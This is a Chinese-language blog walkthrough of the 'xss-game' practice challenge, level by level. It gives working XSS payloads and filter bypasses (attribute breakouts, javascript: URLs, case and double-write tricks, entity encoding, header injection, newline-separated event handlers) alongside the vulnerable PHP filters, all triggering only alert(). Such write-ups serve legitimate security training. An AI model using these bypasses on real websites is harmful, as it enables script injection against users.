• xss-game


    level1

    • 借助window.alert()函数完成任务
      在这里插入图片描述
      http://test.ctf8.com/level1.php?name=<script>alert('123')</script>

    level2

    • 输入框输入test后 Ctrl+g搜索源码中的test,发现有两处
      在这里插入图片描述
    • 分别构造以下两个payload
    1. </h2><center><script>window.alert()</script><h2 align=center>
    2. "> <script>window.alert()</script>
    
    • 第二个奏效

    level3

    • 同样的方式
      在这里插入图片描述
    • 构造payload为
    '> <script>window.alert()</script>
    
    • 发现
      在这里插入图片描述
    • 源代码用在这里插入图片描述
    • 处理了字符串
    • 看一下htmlspecialchars()函数
    • quotestyle 选项为ENT_QUOTES才会过滤单引号
      在这里插入图片描述
    • 得知不会过滤单引号和双引号

    https://www.cnblogs.com/xishaonian/p/7196604.html

    倘若是在script、input标签当中,即可突破。
    Payload:
    ' oninput=alert(1) // 当要在input中输入内容时触发事件
    ' onchange=alert(1)// 发生改变的时候触发该事件

    • 构造payload为keyword=' onclick=window.alert()
    • 点击就会劫持

    level4

    • 同上 "改为'

    level5

    • 源码中过滤了script和on
    • 也过滤了大小写
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    
    • js伪协议绕过

    https://www.cnblogs.com/lcyuhe/p/6409379.html
    javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行

    • payload
    "><a href="javascript:alert('xss')">点击过关</a>
    

    level6 大小写绕过

    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    
    • payload:
    keyword="><ScRIpt>window.alert()</SCript> 
    

    level7双写绕过

    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    
    • payloadkeyword="><sscriptcript>window.alert()</sscriptcript>

    level8 实体编码绕过

    在这里插入图片描述
    在这里插入图片描述

    • 上面的用htmlspecialchars(),引号也转为实体编码
    • 下面的有替换
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    

    payload: java&#x73;cript:alert(1)
    s转换为实体编码绕过

    level9

    • 与之前相比,多了个对http://的检查
    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
            }
    
    • payload: java&#x73;cript:alert(1)/*http://*/

    level 10

    在这里插入图片描述

    • t_sort隐藏
    t_sort=" onclick="alert()" type="text"
    

    level11

    • hackbar传reffer
      在这里插入图片描述
    • reffer内容" onclick="alert()" type="text"

    level 12

    • 同上,抓包改user-agent

    level 13

    • 改cookie

    在这里插入图片描述

    level 14

    level 15

    level 16

    /level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
    keyword=<img%0asrc=1%0aonerror=alert(1)>
    keyword=<img%0asrc=x%0donError=alert('xss')>
    <iframe%0asrc=x%0donmouseover=alert`1`></iframe>
    <svg%0aonload=alert`1`></svg>
    

    level 17 18

    ?arg01=a&arg02=b%20onmouseout=alert(1)
    
  • 相关阅读:
    数与bit
    ARM汇编优化1
    一 *(a+1)与*(&a+1)
    二 *(a+1)多维数组
    三 二维数组取址
    四 sizeof(a)
    永恒之蓝及WannaCry分析
    github使用记录
    三种页面置换算法的C++模拟
    opencv检测图像直线
  • 原文地址:https://www.cnblogs.com/l0nmar/p/12819353.html
Copyright © 2020-2023  润新知